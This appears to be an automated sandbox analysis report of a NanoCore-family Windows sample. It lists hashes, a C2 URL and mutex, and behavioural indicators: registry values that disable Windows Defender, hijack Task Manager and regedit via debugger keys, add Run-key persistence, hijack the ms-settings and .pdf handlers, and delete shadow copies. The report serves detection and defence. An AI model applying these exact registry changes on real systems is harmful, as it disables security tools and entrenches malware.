Analysis
- max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
11/08/2026, 10:38
Behavioral task
behavioral1
Sample
sutbongtvv.io_chrome.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
47 signatures
150 seconds
Behavioral task
behavioral2
Sample
sutbongtvv.io_chrome.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
44 signatures
150 seconds
General
- Target sutbongtvv.io_chrome.exe
- Size 48KB
- Sample260811-mpnsfacn21
- SHA256 1e9156661e450024bb8fb1ba3806d6c03cbf2b546200a4658800c4043b01b92b
- MD5 fe93561fe167452e09cc623cbf3b5b55
- SHA1 c29606b65216fcfdca952cec65becef67bf8a6d5
- SHA512 7ef5bd8921a27ce6a4050848d8d3e9c0acbf813f0b528ef858af3a8a94bec117c3575433ae1ae6987a3f79ec99cf9bba75d9abd8e3fb5e9bc0e662a5d19ff373
- SSDEEP 768:Fh9rjZ6fW/N9HQ2m28m4T//w4tC1XXGblfA0uKFcW:T9rEfKHF8PTQ4tEXGblf9uucW
- TLSH T17723E60477FD8511F1BF4ABA4DB196119B31F8979C22D78E0AD5058E1AB3740CEA8BB3
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
http://sutbongtvv.io
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
http://sutbongtvv.io
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/2328-0-0x0000000000530000-0x0000000000542000-memory.dmp disable_win_def behavioral1/files/0x0007000000024a2a-2386.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" sutbongtvv.io_chrome.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" sutbongtvv.io_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1728 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" sutbongtvv.io_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts sutbongtvv.io_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe sutbongtvv.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe" sutbongtvv.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe sutbongtvv.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe" sutbongtvv.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe sutbongtvv.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe" sutbongtvv.io_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 3080 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation sutbongtvv.io_chrome.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf sutbongtvv.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf sutbongtvv.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf sutbongtvv.io_chrome.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe" sutbongtvv.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe" sutbongtvv.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe" sutbongtvv.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe" sutbongtvv.io_chrome.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 944 tasklist.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe sutbongtvv.io_chrome.exe File created C:\Windows\system32\sysupdate.exe sutbongtvv.io_chrome.exe File opened for modification C:\Windows\system32\sysupdate.exe sutbongtvv.io_chrome.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 1676 wscript.exe 1804 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" sutbongtvv.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" sutbongtvv.io_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1700 sc.exe 808 sc.exe 4108 sc.exe 3936 sc.exe 764 sc.exe 3476 sc.exe 4172 sc.exe 4664 sc.exe 4104 sc.exe 4380 sc.exe 2916 sc.exe 768 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 208 cmd.exe 1080 cmd.exe 1664 cmd.exe 4448 cmd.exe 2852 cmd.exe 1876 cmd.exe 3532 cmd.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 4888 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3776 ipconfig.exe 4724 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1648 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4500 vssadmin.exe 5020 vssadmin.exe 704 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\WallpaperStyle = "2" sutbongtvv.io_chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134309183366242885" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command sutbongtvv.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell sutbongtvv.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open sutbongtvv.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command\DelegateExecute sutbongtvv.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command sutbongtvv.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings sutbongtvv.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe\" \"%1\"" sutbongtvv.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command sutbongtvv.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe" sutbongtvv.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open sutbongtvv.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet sutbongtvv.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell sutbongtvv.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Key created \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings sutbongtvv.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell sutbongtvv.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\.pdf\ = "PDFBotnet" sutbongtvv.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open sutbongtvv.io_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3864 schtasks.exe 1740 schtasks.exe 2776 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4148 chrome.exe 4148 chrome.exe 1728 powershell.exe 1728 powershell.exe 1728 powershell.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe 2328 sutbongtvv.io_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2328 sutbongtvv.io_chrome.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4148 chrome.exe Token: SeCreatePagefilePrivilege 4148 chrome.exe Token: SeDebugPrivilege 1728 powershell.exe Token: SeShutdownPrivilege 4148 chrome.exe Token: SeCreatePagefilePrivilege 4148 chrome.exe Token: SeIncreaseQuotaPrivilege 696 WMIC.exe Token: SeSecurityPrivilege 696 WMIC.exe Token: SeTakeOwnershipPrivilege 696 WMIC.exe Token: SeLoadDriverPrivilege 696 WMIC.exe Token: SeSystemProfilePrivilege 696 WMIC.exe Token: SeSystemtimePrivilege 696 WMIC.exe Token: SeProfSingleProcessPrivilege 696 WMIC.exe Token: SeIncBasePriorityPrivilege 696 WMIC.exe Token: SeCreatePagefilePrivilege 696 WMIC.exe Token: SeBackupPrivilege 696 WMIC.exe Token: SeRestorePrivilege 696 WMIC.exe Token: SeShutdownPrivilege 696 WMIC.exe Token: SeDebugPrivilege 696 WMIC.exe Token: SeSystemEnvironmentPrivilege 696 WMIC.exe Token: SeRemoteShutdownPrivilege 696 WMIC.exe Token: SeUndockPrivilege 696 WMIC.exe Token: SeManageVolumePrivilege 696 WMIC.exe Token: 33 696 WMIC.exe Token: 34 696 WMIC.exe Token: 35 696 WMIC.exe Token: 36 696 WMIC.exe Token: SeBackupPrivilege 5036 vssvc.exe Token: SeRestorePrivilege 5036 vssvc.exe Token: SeAuditPrivilege 5036 vssvc.exe Token: SeIncreaseQuotaPrivilege 696 WMIC.exe Token: SeSecurityPrivilege 696 WMIC.exe Token: SeTakeOwnershipPrivilege 696 WMIC.exe Token: SeLoadDriverPrivilege 696 WMIC.exe Token: SeSystemProfilePrivilege 696 WMIC.exe Token: SeSystemtimePrivilege 696 WMIC.exe Token: SeProfSingleProcessPrivilege 696 WMIC.exe Token: SeIncBasePriorityPrivilege 696 WMIC.exe Token: SeCreatePagefilePrivilege 696 WMIC.exe Token: SeBackupPrivilege 696 WMIC.exe Token: SeRestorePrivilege 696 WMIC.exe Token: SeShutdownPrivilege 696 WMIC.exe Token: SeDebugPrivilege 696 WMIC.exe Token: SeSystemEnvironmentPrivilege 696 WMIC.exe Token: SeRemoteShutdownPrivilege 696 WMIC.exe Token: SeUndockPrivilege 696 WMIC.exe Token: SeManageVolumePrivilege 696 WMIC.exe Token: 33 696 WMIC.exe Token: 34 696 WMIC.exe Token: 35 696 WMIC.exe Token: 36 696 WMIC.exe Token: SeShutdownPrivilege 4148 chrome.exe Token: SeCreatePagefilePrivilege 4148 chrome.exe Token: SeShutdownPrivilege 4148 chrome.exe Token: SeCreatePagefilePrivilege 4148 chrome.exe Token: SeShutdownPrivilege 4148 chrome.exe Token: SeCreatePagefilePrivilege 4148 chrome.exe Token: SeShutdownPrivilege 4148 chrome.exe Token: SeCreatePagefilePrivilege 4148 chrome.exe Token: SeDebugPrivilege 2328 sutbongtvv.io_chrome.exe Token: SeShutdownPrivilege 4148 chrome.exe Token: SeCreatePagefilePrivilege 4148 chrome.exe Token: SeShutdownPrivilege 4148 chrome.exe Token: SeCreatePagefilePrivilege 4148 chrome.exe Token: SeIncBasePriorityPrivilege 2328 sutbongtvv.io_chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe 4148 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2328 sutbongtvv.io_chrome.exe - Suspicious use of WriteProcessMemory 64 IoCs
